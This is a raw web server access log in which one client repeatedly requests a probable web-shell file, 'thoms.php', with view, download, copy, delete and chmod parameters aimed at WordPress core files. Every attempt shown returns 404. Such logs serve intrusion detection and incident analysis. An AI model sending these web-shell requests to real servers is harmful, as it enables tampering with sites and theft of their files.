45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fl10n.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fl10n.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost-formats.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost-formats.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?del=widgets&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fpost.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?chmod=class-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:30 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?del=connectors.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=connectors.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?del=block-patterns&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?chmod=l10n&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?del=https-detection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?chmod=general-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=general-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?chmod=class-IXR.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-IXR.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsitemaps.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsitemaps.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Frewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:31 -0400] "GET /thoms.php?dl=class-wp-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?dl=connectors.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?dl=post-formats.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?chmod=robots-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?chmod=style-engine.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fversion.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fversion.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?del=comment-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?chmod=embed-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?del=abilities-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?del=ms-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?chmod=update.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:32 -0400] "GET /thoms.php?del=feed-rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?dl=locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsession.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsession.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?del=SimplePie&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?dl=template-canvas.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template-canvas.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?del=class-walker-page.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcron.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcron.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?dl=https-detection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:33 -0400] "GET /thoms.php?del=class-wp-user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:34 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
